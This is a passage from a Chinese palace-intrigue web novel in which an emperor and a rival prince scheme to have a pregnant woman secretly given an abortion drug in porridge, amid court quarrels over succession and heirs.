萧凌川心中暗笑,本王才懒得为那女人出头。 本王不过是想亲眼瞧瞧你吃醋的模样罢了。 他缓步走到桌前坐下,身姿慵懒,神态中透着一丝漫不经心的戏谑:“本王只是好奇,王妃为何要如此惩治她?” “王爷怎能说是惩戒呢?”姜姝宁放下书卷,目光直视着他,语气中带着几分嘲弄,“妾身听说赵侧妃钟爱麝香,最喜用它来熏衣物,便特意赏了她些麝香,让她一次熏个痛快。如今,别说衣物,只怕赵侧妃整个院子,里里外外都浸满了麝香的香气吧?” “哦?原来竟是赏赐?”萧凌川挑了挑眉,眼中闪过一抹揶揄之色,唇角微扬,“本王却听说,麝香可致女子不孕。本王还以为,王妃是担心赵侧妃怀上本王的子嗣,才故意如此为之。” 姜姝宁眉头一蹙,语气冷淡而疏离:“王爷多虑了,妾身绝无此意。” “如此说来,是本王误会了。”他的声音中透着显而易见的失望,目光中似有几分遗憾,顿了顿,又低声道,“本王特意前来与王妃说明白,除了王妃,本王此生绝不会碰其他女子,更不会让任何女人为本王诞下子嗣。所以,王妃大可不必为她们吃醋。” 姜姝宁眼角微抽,沉默片刻,方才缓缓开口,语气中带着几分无言以对的意味:“……王爷,您果真是想得太多了。” 见萧凌川依旧用那揶揄的目光打量着自己,她索性将事情和盘托出:“我去藏锦阁探望崔侧妃时,赵侧妃竟故意在院中用麝香熏衣物,想来是刚知道我怀上身孕,刻意为之。我见她心怀叵测,便特意赐她麝香,让她一次熏个痛快!” “她竟敢如此算计于你?真是岂有此理!”萧凌川闻言,脸色骤然阴沉,眼中闪过一抹冷厉的寒光,“看来,本王得好好给她个教训,免得她忘了自己的身份!” 说罢,他起身欲走,却被姜姝宁出声唤住:“王爷,您就不怕因此得罪雍王吗?” 雍王虽远在封地,但身为皇室血脉,其母族在朝中影响力犹存,他自身更握有重兵,权势不容小觑。 前世,他便是瑞王的重要助力之一,绝非等闲之辈。 “本王就是要得罪他!”萧凌川冷笑一声,目光中透着几分不屑与挑衅,“本王倒要瞧瞧,他究竟藏了多少不为人知的势力!” 当晚,萧凌川以赵若晚谋害皇家血脉为由,将她关进景王府的地牢。 他故意未限制赵若晚身边李嬷嬷及婢女的自由,存心放任她们将消息传至雍王处。 钓鱼的饵已抛下,只待那条大鱼自投罗网。 千里之外的雍王封地,快马加鞭送来的密信如同一颗投入平静湖面的石子,激起滔天巨浪。 雍王虽为萧凌川的皇叔,却仅年长他数岁,尚未及而立,风华正茂,野心勃勃。他看完信,顿时怒火中烧。 “萧凌川!”他从牙缝里挤出这个名字,“好一个景王,真是好样的!” 他原以为送赵若晚入景王府,是与萧凌川心照不宣的结盟信号,是双方势力试探交融的第一步。 可现在,萧凌川竟敢以“谋害子嗣”这种可笑的罪名,将他的表妹以及雍王府的颜面,打入阴暗潮湿的地牢! 这哪里是惩戒一个妾室,这分明是狠狠一巴掌扇在他的脸上! 萧凌川根本无意与他合作,就连虚与委蛇的表面功夫都不愿多做。 怒火烧灼着他的理智,但他很快冷静下来。 他走到案前,亲自研墨铺纸。 既然萧凌川不仁,就别怪他不义。 他要让所有人都看看,景王是如何的嚣张跋扈,目中无人的。 他提笔疾书,将一封情真意切的陈情书火速送往了京城。 御书房内,皇帝萧政贤放下手中的笔,接过内侍呈上的密信。 信封上雍王府的火漆印记让他眉心微动。 展开信纸,他一目十行地扫过,原本平和的脸上,渐渐浮现出一丝难以察觉的笑意。 “宣景王。”他的声音平淡无波,听不出喜怒。 萧凌川踏入御书房时,便感到一股无形的压力。 萧政贤正端坐于御案之后,神情莫测地看着他。 “四弟来了。”萧政贤的语气一如既往的温和,“赐座。” 萧凌川谢恩落座,脊背挺得笔直。 “朕今日叫你来,是想问问你府上的事。”萧政贤慢悠悠地开口,“朕听说,你将雍王叔的表妹,你的赵侧妃,打入了地牢?” “是。”萧凌川答得干脆利落,没有半分犹豫或心虚。 萧政贤像是有些意外他的坦然,身体微微前倾:“为何?总得有个缘由吧。” “赵氏心思歹毒,意图以麝香谋害本王尚未出世的子嗣。”萧凌川的声音冷得像冰,“此等毒妇,关入地牢已是看在雍王皇叔的颜面。依本王的性子,本该一纸休书,将她逐出王府!” 萧政贤的目光闪烁了一下,他敏锐地抓住了重点。 “哦?尚未出世的子嗣?”他故作惊讶,语气里带着一丝恰到好处的探寻,“不知是哪位侧妃有此福气,怀上了四弟的孩儿?” 他几乎可以断定,是姜姝宁。 也只有姜姝宁,才能萧凌川如此冲动护短。 可姜姝宁的身份,如今只是个见不得光的逃犯,他倒要看看,萧凌川要如何回应。 萧凌川的脸色瞬间沉了下去,周身的气压低得吓人。 “这是重点吗?”他冷声反问,语气里的不耐烦毫不掩饰,“不管是本王府里哪位有孕,赵若晚心存歹念,意图谋害皇室血脉,就该受到惩戒!本王处置自己府里的一个妾室,难道还需要向谁报备不成?” “话不能这么说。”萧政贤端起茶盏,轻轻撇去浮沫,姿态闲适,“她毕竟是皇叔母族的人,你这么做,岂不是让皇叔难堪?凡事留一线,日后好相见。四弟还是手下留情些,莫要因小失大,得罪了皇叔。” 这话听起来是劝解,实则句句都是挑拨。 萧凌川嗤笑出声,那笑声里满是讥讽与不屑。 “臣娶一个侧妃,竟连处置她的资格都没有了?那这侧妃,不要也罢!”他猛地站起身,气势逼人,“还请陛下代为转告雍王,让他的人自己来领回去!他雍王母族的贵女,臣这小小的景王府,要不起!” 话音落下,他看也不看御座上的人,长袖一甩,径直转身,大步流星地离开了紫宸殿。 殿内,内侍们吓得大气不敢出。 萧政贤却看着他决绝的背影,紧绷的嘴角缓缓松开,露出一抹如释重负的笑。 很好,非常好。 他最担心的,便是萧凌川与手握兵权的雍王暗中结盟。 如今看来,这个最大的隐患,竟如此轻易地解除了。 说起来,倒真要感谢姜姝宁。 能让萧凌川这个心狠手辣的祸害,变成一个冲冠一怒为红颜的情种。 只要有她在,任何想通过联姻拉拢萧凌川的门阀,都只会自取其辱。 他的皇位,似乎又能坐得更稳一些了。 若是能激化萧凌川和雍王之间的矛盾,自己坐观虎斗,那便更有趣了。 第293章 直戳皇帝痛处 第二百九十三章 直戳皇帝痛处 金銮殿上,气氛凝重如铁。 镇国将军王德山跪在殿前,老泪纵流。 “陛下!犬子王启被西洲匪寇掳走已有三月!三月啊!老臣日夜难寐,心如刀绞!景王殿下执掌西征虎符,却迟迟按兵不动,任由犬子在贼人手中受尽折磨!恳请陛下做主,即刻发兵西征!” 龙椅上的萧政贤眉头紧锁,一副忧心忡忡的模样,目光却不着痕迹地瞥向了站在武将之首的萧凌川。 如今朝中势力四分五裂,他能调动的兵马寥寥无几。 即便有兵马在手,他也不愿出手相助王德山。 毕竟,王德山是瑞王的势力,这个三弟在彻底失势之前,其威胁程度丝毫不逊于萧凌川。 可这面子上的功夫,总要做足。 “四弟,”萧政贤的声音沉稳,带着君王的威仪,“西征之事,你为何一再拖延?” 所有人的目光瞬间聚焦在萧凌川身上。 “回禀陛下,非是臣有意拖延。”他声音平淡,听不出什么情绪,“只是臣府中有孕妃,身子娇弱,需臣时时看顾,实在分(身)乏术。这刀剑无眼,臣若此刻出征,臣子嗣的安危,谁来担待?” 此言一出,满朝哗然。 景王府有喜了? 是哪位侧妃? 王德山猛地抬头,赤红的双眼死死瞪着萧凌川,像是要喷出火来:“一个妇人!殿下竟为了一个妇人,置我儿性命于不顾?!” “妇人?”萧凌川终于抬眼,冰冷的视线像淬了毒的刀子,直直射向王德山,“镇国将军慎言。本王腹中的,是皇室血脉,是未来的郡王、亲王!在你眼里,竟比不上你那个不成器的儿子?” 他轻蔑地勾了勾唇角,嘲讽之意满溢而出。 “再者说,将军在西榆养着数万镇西军,军饷粮草,朝廷可曾短缺过一分一毫?怎么,连自家少主子都护不住,还要本王千里迢迢去给你擦屁股?” “你养的那群兵,是废物不成?” 这话,比直接打脸还要狠毒。 这是在质疑整个镇西军的忠诚与能力! “萧凌川!你……你欺人太甚!”王德山气得浑身发抖,手指着他,几乎要当场厥过去。 “够了!”萧政贤恰到好处地出声喝止,一副痛心疾首的模样,“都是国之栋梁,岂可如此内讧!镇国将军,你且冷静。四弟,你也少说两句!” 他嘴上劝着架,眼底的笑意却一闪而过。 斗吧,斗得越凶越好。 最好是狗咬狗,一嘴毛。 朝会不欢而散。 萧凌川被单独留了下来,传至御书房。 萧政贤亲自为他斟了一杯茶,语气温和得像个慈爱的兄长:“四弟,何必呢?怎么跟皇叔、镇国将军的关系,都搞得如此之僵?” 他叹了口气,语重心长。 “朕知道四弟如今在朝堂上拥护者众多,但也不能因此就处处树敌,就不怕将来有祸患吗?” 萧凌川端起茶杯,却没喝,只是用杯盖轻轻拨弄着茶叶,发出清脆的声响。 他忽然嗤笑一声。 “臣,谢陛下关心。” 那笑声短促而冰冷,让御书房的暖意都降了几分。 “臣不过一个臣子,就算跟所有人树敌又如何?大不了有天去封地待着,不问政事便是。” 他放下茶杯,抬眸直视着龙椅上的萧政贤,目光锐利如鹰。 “但陛下就不同了,您是大邺的君王,自然是要让所有人都臣服于你。” 他顿了顿,话锋陡然一转,像一把磨得锃亮的匕首,直直捅了过去。 “不过,话说回来,就算陛下让天下人都臣服又如何?陛下登基一年有余,至今子嗣仍无动静,门阀可最见不得此事。陛下有这份闲工夫来管臣的闲事,还不如好好想着,如何为皇家开枝散叶!” 萧政贤手中的茶杯重重磕在桌案上,滚烫的茶水溅出,烫得他手背一片通红。 他却浑然不觉。 萧凌川那几句话,像无数根烧红的钢针,狠狠扎进他心口最痛的地方。 子嗣! 这是他登基以来最大的心病,是他身为帝王最大的耻辱! 萧凌川却敢如此明目张胆地当面戳穿! 萧凌川仿佛没看见他骤然铁青的脸色,施施然起身,行了个敷衍至极的礼:“陛下若无他事,臣,告退。” 说完,他转身便走,背影挺拔,没有半分迟疑。 殿内死一般的寂静。 萧政贤死死盯着他消失的背影,胸口剧烈起伏,一股郁气堵在喉间,上不去也下不来,憋得他眼前阵阵发黑。 恰逢皇后顾晚樱前来请安,手捧一碗亲手熬制的汤药,温言软语地劝他服用。 谁知萧政贤却骤然变色,猛地将汤药摔碎在地,碎片四溅,药汁淌了一地。 他怒声斥道:“喝了这么久,竟一点效果也无!” 顾晚樱被他这突如其来的暴戾模样吓得花容失色,声音微微发颤:“陛下,您这是怎么了?” “晚樱,朕必须尽快得一皇子,否则,那些世家门阀绝不会让朕的皇位坐得安稳!”萧政贤语气中透着深深的焦灼,眉头紧锁,眼中尽是焦虑与不安。 顾晚樱垂下眼眸,睫毛轻颤,声音低柔中带着一丝担忧:“陛下,臣妾觉得您自从登基以来,变了许多。” 从前的他,虽身体孱弱,却性情温润,正直温和,如今却动辄暴怒,喜怒无常,让她心生畏惧。 萧政贤察觉到她眼中的惊恐,稍稍收敛了情绪,放缓语气安抚道:“晚樱,你也明白,今时不同往日,朕如今是大邺的皇帝,肩负江山社稷,自不能如当太子时那般随性。眼下,四弟已不足为惧,只要朕有了子嗣,这皇位便再无后顾之忧。” “可这事急不得。”顾晚樱轻声劝道,“从前姜姑娘便曾告诉臣妾,调理体弱的身子非一朝一夕之事,需从饮食调养入手,操之过急反而不好。” “朕等不了那么久!”萧政贤断然打断她,眼神中透着一股不容置疑的决绝,“朕要尽快让你怀上皇子,只有如此,朕才能真正高枕无忧!” 顾晚樱闻言,脸上泛起一抹羞涩的红晕,低声道:“臣妾听说景王身边有一位姓孙的神医,医术高超,不如请景王将此人带来宫中,为陛下调理身子如何?” “不可!”萧政贤脸色一沉,毫不犹豫地拒绝,声音中带着几分冷厉,“四弟心思狠毒,那孙神医又是他的人,难保不会对朕暗下毒手!调理身子之事,绝不能交由他的人来做,朕得另寻他人!” “那可如何是好?”顾晚樱轻叹一声,眉宇间满是忧愁,“若是姜姑娘尚在就好了,她的医术不逊于太医,又擅长食补,若有她在,定能为陛下调理好身子。” 萧政贤闻言,脸色骤然阴沉下来,眼中闪过一抹复杂的光芒,声音低沉而压抑:“朕猜测,如今在景王府中怀有身孕之人,正是姜姑娘。若她果真为四弟诞下子嗣,朕的地位便更加岌岌可危。那些世家门阀,又岂会容忍一个无子嗣的皇帝,继续稳坐龙椅之上?” “可怜的姜姑娘,竟落得无媒苟合的下场,还怀上了景王的孩子。若是宁王得知此事,心中该有多痛?”顾晚樱语气中满是叹息,眼底流露出一抹怜悯。 听到这话,萧政贤眼中骤然闪过一抹精光,嘴角微微上扬,露出一丝意味深长的笑意。 “说得不错,姜姑娘怀上四弟子嗣之事,的确该让五弟知晓。” 如此一来,或许这孩子……便没有出世的机会了! 第294章 残忍的真相 第二百九十四章 残忍的真相 萧怀瑾那日回府后,便陷入了高热重病,卧床不起。 他反复陷入梦魇,梦中姜姝宁一次次当着他的面被蒙面恶徒掳走,受尽凌辱,痛苦不堪。 而他每每拼尽全力,却始终无法将她从恶人手中救出,自责与愧疚如影随形,噬咬着他的心神。 当梦中那蒙面恶徒的眉眼骤然与萧凌川的面容重合时,他猛地从噩梦中惊醒,冷汗涔涔。 伺候在旁的婢女见他醒来,激动得眼眶泛红,声音哽咽:“宁王殿下,您可算醒了!您病了好几日,荣太妃都急得夜不能寐!” 萧怀瑾无暇顾及其他,挣扎着转头看向一旁站立的阿齐,声音沙哑地吩咐道:“你们都退下,留阿齐即可。” 待下人们尽数离开,萧怀瑾强撑着坐起身,急切问道:“可找到姜姑娘的下落?” 阿齐低头,语气中满是自责:“属下无能,搜寻多日,仍未找到那群山贼的踪迹。不仅如此,属下还打听过,附近村民皆言从未见过山贼或土匪,那群人来去无踪,实在诡异至极!” 萧怀瑾闻言,脑海中闪过梦境中蒙面恶徒与萧凌川面容重合的画面,眼神骤然一冷,沉声道: “不必再找了。那日我们遇到的,根本不是真正的山贼。你不觉得那日的山贼行事诡异至极吗?他们不图财物,反倒……故意折辱姜姑娘,似是专门为了刺激于我。 我怀疑,这一切背后之人正是景王,甚至有可能就是萧凌川亲自动手!你快扶我起来,我要亲自去一趟景王府!” 阿齐闻言,脸色骤变,震惊之余又隐隐愤怒: “难怪近日景王既未派人寻姜姑娘的下落,也未启程西征。原来,半路掳走姜姑娘,竟是他自导自演的一出好戏!这景王,实在是卑劣无耻! 可殿下,即便您亲自前往景王府,他也未必肯放姜姑娘离开,您又何必给他机会羞辱您?” 萧怀瑾眼神阴郁:“若我开出的条件足够诱人,他未必能拒绝。” 萧凌川,就让我瞧瞧,姜姝宁在你心中,究竟占据几分重量! 景王府内,熏香袅袅。 萧凌川斜倚在椅上,手中把玩着一枚玉扳指,眼神懒洋洋地落在眼前面色惨白、身形单薄的人身上。 “本王不是听说五弟生病卧床吗?怎么这么快就好了?”萧凌川的声音拖着长腔,慢悠悠的,“说起来,不知五弟究竟是经历了什么,竟病了这么些日子,这脸色,白得跟纸糊似的。” 萧怀瑾抬起眼,那双曾温润如玉的眸子此刻只剩下沉沉的冰霜。 “四哥何必阴阳怪气?我知道那日扮作山贼,劫走姜姑娘的人便是四哥。怎么,那日四哥对我的折辱还不够吗?” 萧凌川低低笑出声。 “原来五弟看出来了?”他坐直了些,身体微微前倾,那双鹰隼般的眼睛锁住萧怀瑾,“既如此,五弟今日来,是想做什么?兴师问罪吗?” “我今日来,是想和四哥做一笔交易。”萧怀瑾强迫自己稳住心神,以免在谈判中落了下风。 “哦?交易?”萧凌川挑了挑眉,一副饶有兴致的模样,“该不会又跟上一次那样,想用你外祖崔家的忠诚,来换本王的王妃吧?五弟,同样的招数,可别用第二次。” “之前我与外祖、舅舅外出历练时,曾绕道西洲国。”萧怀瑾不理会他的讥讽,径直抛出了自己的筹码,“在西洲与我大邺西榆的交界处,有一座尚未被发现的金矿。这金矿,三分之二在西洲境内,三分之一位于西榆。若能攻退西洲守军,便能将此金矿尽数拿下。金矿的具体位置,普天之下,只有我知道。” 他停顿了一下,死死盯着萧凌川的眼睛,一字一顿地补充,“只要四哥给姜姑娘自由,我便将这金矿的舆图双手奉上。有了金矿,兵马粮草,四哥都尽在掌握!” 听到“金矿”两个字,萧凌川眉心不易察觉地动了一下。 说不心动,那是假的。 崔家是大邺的钱袋子没错,可那是效忠于大邺皇帝的。 他萧凌川能动用的,终究有限。 若真有一座不为人知的金矿,能为他私下里源源不断地提供钱财,那他图谋的大业,便等于添上了一双最坚实的翅膀。 可他面上却很快恢复了平静,甚至冷笑起来:“本王怎么知道,这是不是五弟你设下的陷阱?等本王真派人去了,你便去陛下面前告发本王,给本王安一个私采金矿、意图谋反的罪名,这顶大帽子,本王可戴不起!” “四哥多虑了。”萧怀瑾早已料到他会有此一问,声音愈发沉冷,“那金矿只有三分之一在我大邺境内,你就算当真开采,只需将这三分之一如数上缴国库,便算是你西征的功劳,皇兄为何要追究?若你真担心我会在背后捅刀子,你大可以倒打一耙,就说是我将此事泄露给你。届时,我知情不报,同样脱不了干系。如此,四哥总该放心了吧?” 为了姜姝宁,他连自己的性命前程都可以一并押上。 萧凌川沉默了,他修长的手指有一下没一下地敲击着椅子扶手,发出沉闷的“笃、笃”声,像是在认真考虑萧怀瑾的提议。 大殿之内,静得只剩下这敲击声和两人微弱的呼吸声。 良久,他忽然又笑了,那笑容里带着一丝慵懒和一丝残忍的快意。 “五弟的提议,实在是让本王心动至极。”他慢条斯理地站起身,踱步到萧怀瑾面前,居高临下地俯视着他,“不过嘛……本王怕是不能和你做这笔交易了。因为,王妃如今,已经怀上本王的骨肉了。” 那声音轻飘飘的,却像一道九天惊雷,在萧怀瑾的脑海中轰然炸开。 他整个人都僵住了,血液仿佛在瞬间凝固,四肢百骸一片冰冷。 他甚至忘了呼吸,只能死死地瞪着眼前这张含笑的、恶魔般的脸。 “你……说什么?”萧怀瑾的声音抖得不成样子,每一个字都像是从喉咙里挤出来的碎片。 萧凌川好整以暇地看着他失魂落魄的模样,嘴角的笑意更深了:“本王就算再薄情寡义,也不能为了一座金矿,就将自己孩子的母亲送给别的男人。五弟,你说对吗?你就死了这条心吧!” “你这个禽兽!” 理智的弦在这一刻彻底崩断,滔天的恨意与绝望化作野兽般的怒吼。 萧怀瑾疯了一样扑上去,用尽全身力气,只想将眼前这张可憎的面孔撕碎。 可他大病初愈,本就手无缚鸡之力,如何是萧凌川的对手? 萧凌川抬起一脚,正中萧怀瑾的胸口。 “砰”的一声闷响,萧怀瑾整个人像断了线的风筝一样倒飞出去,重重摔在地上。 喉头一甜,一口鲜血猛地呕了出来,染红了冰冷的地板。 “来人!”萧凌川掸了掸自己衣袍上并不存在的灰尘,声音冷漠如冰,“宁王殿下体弱不堪,怒急攻心,将他带回宁王府好生调养,莫要再随处乱跑,冲撞了本王!” “是!”侍立在侧的凌风立刻上前,将浑身无力的萧怀瑾架了起来,拖着往外走。 来到正厅外,阿齐看到自家主子这幅模样,嘴角还渗着血,连忙冲上去扶住他,心胆俱裂:“宁王殿下不会武功,景王怎能对他下如此毒手?!” 凌风面无表情,声音冷得像淬了冰:“饭可以乱吃,话不能乱说。宁王殿下这是自己急火攻心,才吐了血,与我们王爷何干!” “殿下,殿下您没事吧?到底是谁伤的你?”阿齐扶着摇摇欲坠的萧怀瑾,紧张地问。 萧怀瑾的意识已经开始模糊,眼前的一切都在旋转。 他用尽最后一丝力气,抓着阿齐的衣袖,嘴唇翕动,吐出一句破碎的话: “姜姑娘……怀上身孕了……” 话音刚落,他便彻底晕死过去。 第295章 孩子是她的枷锁 第二百九十五章 孩子是她的枷锁 回到宁王府,萧怀瑾整个人像是被抽走了魂魄,躺在床上,一躺就是两日。 他时而高热不退,时而又浑身冰冷。 姜姝宁怀上萧凌川的孩子,这个事实比任何酷刑都来得残忍,将他的精神和肉体一并拖入了无底的深渊。 直到宫里的太监带着圣旨前来宣召,他才像一具被线牵引的木偶,在阿齐的搀扶下,强撑着进了宫。 御书房内,萧政贤正批阅着奏折,听到通传,他抬起头,看到萧怀瑾那副摇摇欲坠的模样,眉头立刻就皱了起来。 “五弟,你这是怎么了?脸色差成这样,可是病了?”他放下朱笔,起身绕过书案,亲自上前扶了一把。 萧怀瑾勉强扯出一个比哭还难看的笑,声音沙哑得厉害:“劳皇兄挂心,臣弟……只是前些日受了些风寒,不碍事。” “不碍事?”萧政贤扶着他在一旁的椅子上坐下,自己也坐回龙椅,叹了口气,“你这哪里像不碍事的样子。朕看你,倒像是被什么事给掏空了身子。” 萧怀瑾强打起精神:“不知皇兄今日宣臣弟进宫,所为何事?” 萧政贤摇着头,一副头疼不已的模样:“四弟最近是越来越不像话了,为了点小事,接连跟镇国将军和雍王叔闹翻。朕让他去西榆剿匪,他倒好,还说什么府中妃子有孕,需要他照料,说什么也不肯启程。 说是有妃子怀孕,却又不提是哪个侧妃。朕想当个和事佬,从中调停一下,都找不到由头。五弟,你表妹也是四弟的侧妃之一,你可知景王府里究竟是哪个侧妃怀上四弟的子嗣?” 萧怀瑾最不愿提及的事情,此时却不得不和盘托出。 喉咙里像是堵了一团烧红的炭,灼得他连呼吸都带着痛。 他抓着扶手,指节因为用力而泛白,声音是从牙缝里挤出来的:“是姜姑娘。怀上他子嗣的,是姜姑娘。” 萧政贤猛地从龙椅上站了起来,脸上满是震惊和不可置信:“岂有此理!四弟当初将姜姑娘劫走,压根没有和她成婚,如今竟还……还逼迫她怀上子嗣!这等行径,与山匪路霸有何区别?!” “如今还能如何?”萧怀瑾的声音微弱得仿佛风中残烛,带着无尽的无奈与苦涩,“难道……当真要冲进景王府,逼他交出姜姑娘不成?” 萧政贤神色阴沉。 连萧怀瑾都知道此事,可见姜姝宁确实怀上了萧凌川的子嗣。 他不希望萧凌川在他之前拥有子嗣,他深知,若萧凌川有了后代,那些支持他的朝臣与势力必会借此大做文章,再次拿子嗣之事向他施压,令他的皇位更加岌岌可危。 他停下脚步,再次看向萧怀瑾,语气变得语重心长:“五弟,朕懂你的心情。可是,你有没有想过,姜姑娘被四弟掳走,已是天大的委屈。若是再生下他的子嗣,那她这辈子,怕是都跟他断不了干系了。” 他蹲下身,平视着萧怀瑾,声音压得更低,“如今四弟如此在意这个孩子,想来就算姜姑娘自己不愿要这个孩子,也根本没有办法。要不……你去见一见你那表妹,让她帮个忙,将这个孩子……除掉?” 萧怀瑾浑身一震,像是被蝎子蛰了一下,猛地抬头:“这怎么可以?皇兄!那也是姜姑娘的孩子!” “五弟,你糊涂啊!”萧政贤一副痛心疾首的模样,“你还不懂吗?寻常女子,若是和男子有了共同的骨肉,就算她对那男子再没有情意,也会为了孩子,心甘情愿地留在他身边! 四弟正是看透了这一点,才用如此卑劣的手段,迫使姜姑娘怀上他的子嗣!你若让她生下这个孩子,她这辈子,就真的不可能离开景王府了!” 萧怀瑾的心在此刻有了一丝动摇。 一个孩子,足以成为女人一生的枷锁。 他怎么能眼睁睁看着她被这个孩子,被萧凌川,锁上一辈子? 可他的理智还在做最后的挣扎:“就算……就算姜姑娘没了孩子,以四哥的性子,也不会轻易放她离开的。” “你放心。”萧政贤的眼中闪过一丝胸有成竹的精光,“朕自然有法子,让他乖乖启程去西榆。他一走,京城便是我们的天下。届时,你再将姜姑娘带走,远走高飞,剩下的所有事情,朕来替你善后。” 萧怀瑾还是有些犹豫,嘴唇翕动:“皇兄……” “你大可放心。”萧政贤仿佛看穿了他最后的顾虑,拍了拍他的肩膀,给了他一颗定心丸,“这落胎药,朕会亲自去交代太医院,让他们用最温和的法子配出来,保证绝不会伤到姜姑娘的身子。姜姑娘对朕亦有恩,若不是她给朕开的那些食补方子,朕的身子也不可能调理得这般好。朕不会害她的,朕只是……想看着她能和你长相厮守,得偿所愿。” 这番话说得情真意切,既有君王的承诺,又有兄长的温情,还有着对姜姝宁的“感恩”。 萧怀瑾心中最后一道防线,彻底崩塌了。 他像是抓住了最后一根救命稻草的溺水之人,眼中的空洞被一丝疯狂的希望所取代。 他站起身,对着萧政贤深深一揖到底:“谢皇兄成全!臣弟……臣弟定不负皇兄托付,尽快让姜姑娘……恢复自由!” 他低着头,没有看到萧政贤眼中一闪而过的、毒蛇般的阴鸷。 那是一种计谋得逞的、冰冷而残忍的快意。 姜姑娘,别怪朕狠心。 朕如今坐到这个位置,若心慈手软,又怎能长久稳坐江山? 若要怪,便怪你腹中怀的,是萧凌川的骨肉! 萧怀瑾再次登门景王府,此次却并非为姜姝宁而来,而是声称要探望他的表妹崔芝兰。 凌风代为通禀,转而询问萧凌川:“王爷,可需派人暗中监视宁王?” “不必了。”萧凌川唇角勾起一抹嘲讽的笑意,语气中透着几分不屑,“想必他是无法接受王妃怀上本王子嗣的事实,这才来找崔侧妃求证。随他去吧,早些让他认清现实,也算是一件好事。 记住,吩咐凌芜,在宁王探望崔侧妃期间,绝不可让王妃踏入藏锦阁半步,本王可不想让他们二人有任何碰面的机会!” “是,王爷!”凌风恭敬应下。 随后,凌风亲自将萧怀瑾引至崔芝兰所在的藏锦阁。 为防萧怀瑾借机偷偷溜出,前往寻姜姝宁,他特意安排人在藏锦阁外严加把守。 然而,萧怀瑾似乎并无他意,径直走进藏锦阁,目光专注,似只一心探望崔芝兰。 崔芝兰身上的伤势已恢复大半,得知萧怀瑾前来探望,情绪有些激动,眼眶微微泛红:“表哥,没想到你竟会来看我。你……还好吗?” 萧怀瑾惨淡一笑,眉宇间尽是掩不住的疲惫与苦涩,声音低哑:“怎会好?姜姑娘她……已怀上了景王的子嗣。” 崔芝兰点头,语气中带着几分无奈:“是,景王对这个孩子……似乎极为看重。” “这个孩子……绝不能留!”萧怀瑾猛地抬起头,原本温润如玉的面容上掠过一抹阴霾,眼神中透着前所未有的冷厉与决绝。 第296章 别怪我狠心 第二百九十六章 别怪我狠心 崔芝兰脸色骤变,显然没料到萧怀瑾竟会说出如此决绝的话来,眼中满是震惊与不安:“表哥,你究竟想做什么?” 萧怀瑾沉默片刻,缓缓从袖中取出一只瓷瓶,递到她面前,低声道:“这是太医特意研制的落胎药,药性温和,不会伤及母体。你设法让姜姑娘服下此药。” “万万不可!”崔芝兰脸色苍白,猛地摇头,语气中带着几分惊慌与抗拒,“这毕竟是姜姑娘的骨肉,我不能这么做!” “芝兰,若让姜姑娘生下这个孩子,我与她之间,便再无半点可能。”萧怀瑾神色黯然,眼中闪过一抹深深的痛楚与不甘,“你试想,若是你自己怀了景王的孩子,还会舍得离开景王府吗?” 崔芝兰顿时愣住了。 确实,她与景王(之)间并无半分情意,若非为了家族利益,她绝不会踏入景王府一步。 她日夜盼望能脱离这牢笼,过上自由自在的日子。 可若她怀了孩子,便会多出一份牵绊,哪怕再苦再累,她也定会留下,只为给自己的骨肉一个名义上的“家”。 “表哥……我懂了。”崔芝兰沉默良久,终于抬起微微颤抖的手,接过他手中的瓷瓶,“我会帮你的。” 萧怀瑾闻言,紧绷的脸上这才浮现出一抹浅淡的笑意,眼底却依旧藏着化不开的苦涩:“多谢你,芝兰。” 他起身欲走,却又似想起了什么,忽而停下脚步,转身看向崔芝兰:“芝兰,你老实告诉我,在你看来,姜姑娘对景王可有男女之情?” 崔芝兰毫不犹豫回答道:“绝无半分。姜姑娘曾亲口对我说过,自由于她而言,比任何事都来得重要。若她对景王真有情意,便不会怀着身孕却依旧执意要离开。” 听到这个回答,萧怀瑾紧绷的神色稍稍缓和,原本黯淡无光的眼眸中重新燃起一抹希冀的光芒。 只要她腹中的孩子不在,她与萧凌川便再无任何牵绊。 到那时,他们才能真正毫无顾忌地走到一起。 姜姑娘,别怪我狠心。 我会加倍对你好,用余生来弥补你失去这个孩子的痛。 —— 姜姝宁再次前来探望崔芝兰。 在她悉心医治下,崔芝兰的身体已恢复大半,气色渐佳。 此番,姜姝宁未带药材与银针,而是拿着一小罐自制的凝脂膏,递到崔芝兰面前,温声道:“这是我特意调制的凝脂膏,专祛疤痕。你身上那些旧伤,若勤加涂抹此膏,定能恢复如初,让肌肤恢复无瑕。” 崔芝兰接过凝脂膏,淡淡一笑,语气却带着几分疏离:“姜姑娘何须如此费心?这些疤痕,留就留了吧,无关紧要。” “哪有女子不爱美?”姜姝宁笑着道,“崔侧妃本就生得貌美,若因疤痕失了风采,岂不可惜?我闲来无事调制这膏药,你就当帮我试试药效。说不定,将来我还指望这凝脂膏发家致富呢!” 崔芝兰心中五味杂陈,感动之余,愧疚如潮水般涌上心头。 姜姝宁对她如此用心良苦,她却暗中筹谋,欲害她腹中尚未出世的骨肉。 但一想到表哥萧怀瑾的那番话,她的心却又硬了几分——她这么做,是为了斩断姜姝宁与景王的牵绊,助她彻底摆脱景王府的束缚,获得真正的自由。 她不动声色地朝侍女小翠使了个眼色。 小翠心领神会,很快端来一碗热气腾腾的红豆粥,恭敬地放在姜姝宁面前。 “姜姑娘为我费心调制凝脂膏,我无以为报。”崔芝兰语气中带着几分刻意的亲切,“这碗红豆粥是我特意吩咐厨房熬制的,姜姑娘若不嫌弃,便尝一尝吧。” “好。”姜姝宁未多想,随口应下。 红豆粥被端上桌,她却忍不住皱了皱眉。 自从怀孕后,她对气味格外敏感,总觉得这碗粥弥漫着一股异样的豆腥味,令人不适。 她不愿拂了崔芝兰的好意,只得强装笑意,拿起勺子轻轻搅动,假意品尝。 忽然,她神色一变,目光死死锁定碗中一抹异常的红色,语气陡然冷了下来:“这……这是红花?怎么会出现在粥里?谁如此大胆,竟敢谋害我腹中的孩子!” 崔芝兰闻言一怔,脸色瞬间煞白。 她明明只吩咐小翠在粥中加入萧怀瑾给的落胎药粉,绝未提及红花。 这红花究竟从何而来? 她看向小翠,小翠慌忙摇头,眼中满是惶恐与无辜,显然对此也一无所知。 姜姝宁察觉到主仆二人神色间的异样,忙缓和语气,安慰道:“崔侧妃,你别误会,我知这事定与你无关。想来是有人知晓我常来探望你,趁机在你的膳食中动了手脚,意欲害我腹中孩儿,手段实在卑劣!” 见姜姝宁如此信任自己,崔芝兰更加无地自容。 她咬紧下唇,挣扎片刻,终于低声开口:“姜姑娘……实不相瞒,这碗红豆粥里,确实被我下了落胎药。” 